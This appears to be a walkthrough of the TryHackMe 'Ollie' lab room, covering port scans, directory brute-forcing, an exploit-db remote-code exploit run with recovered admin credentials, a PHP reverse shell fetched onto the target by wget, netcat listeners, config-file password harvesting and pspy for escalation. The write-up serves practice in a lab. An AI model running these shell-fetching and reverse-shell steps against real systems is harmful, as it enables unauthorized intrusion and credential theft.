> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/ollie.md).

# Ollie

**Room Link:** <https://tryhackme.com/room/ollie>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/xhr0PBmzt96GncsYB64X" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/coowo3AmK4ABbZk82wAM" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u $VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/5m8BcfpwSRFdGv722rWS" alt=""><figcaption></figcaption></figure>

## TCP/1337 - waste

**Kali**

```
nc -v $VICTIM 1337
```

<figure><img src="/files/ny5U4VKA2uWI6Uoq78za" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Browser**

```
Username: admin
Password: OllieUnixMontgomery!
```

<figure><img src="/files/7sjuTjj8SWg18V4j1j8W" alt=""><figcaption></figcaption></figure>

## Initial Shell

**Exploit:** <https://www.exploit-db.com/raw/50963>

**Kali**

```
python3 exploit.py  -usr admin -pwd OllieUnixMontgomery! -cmd 'whoami' -url http://$VICTIM
```

<figure><img src="/files/t1HinVzT8b5NQRtc36XM" alt=""><figcaption></figcaption></figure>

We can run commands from the browser as well.

<figure><img src="/files/n2BTjtm1WmGnWWEnbvV2" alt=""><figcaption></figcaption></figure>

Got this php reverse shell, just changed the IP

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell
cd php-reverse-shell
subl php-reverse-shell.php 
python2 -m SimpleHTTPServer 81
```

**Kali**

```
nc -lvnp 1234
```

We have access to write to the immaolllieeboyyy directory so we put our shell there.

**Browser**

```
wget http://$KALI:81/php-reverse-shell.php -O immaolllieeboyyy/test.php
```

**Browser**

<pre><code><strong>http://VICTIM:/immaolllieeboyyy/test.php
</strong></code></pre>

<figure><img src="/files/CGzS4TCUWrLYAJIeBcLm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BHJvMFVdoKKFftpWMRGi" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

**Victim**

```
cd /var/www/html
grep -ir "pass" config.php -A4 -B4
```

<figure><img src="/files/f70uYv9ZgEauDCqQrgzP" alt=""><figcaption></figcaption></figure>

We can login to mysql but didn't find anything

**Victim**

```
mysql -uphpipam_ollie -pIamDah1337estHackerDog!
```

**Victim**

```
su ollie
Password: OllieUnixMontgomery!
```

<figure><img src="/files/P1xgFBCbNAYGeRbXs0fp" alt=""><figcaption></figcaption></figure>

## PSPY

**Kali**

```
wget http://$KALI:81/pspy32 
chmod +x pspy32 
./pspy32 
```

**Victim**

```
cd /tmp/
wget http://10.10.231.159:81/pspy32 
chmod +x pspy32 
./pspy32
find / -name "feedme" 2>/dev/null 
```

<figure><img src="/files/agcMKOYQDWzDdcmwwhkI" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

<figure><img src="/files/drOBQMUhglm8anQpEVdn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mm4Kk2XNmm53vSBwZ9l7" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1338
```

<figure><img src="/files/nepjfVVkAnsWMpjL0LTI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Zl60hGh1L0QJDzJG2Ksc" alt=""><figcaption></figcaption></figure>
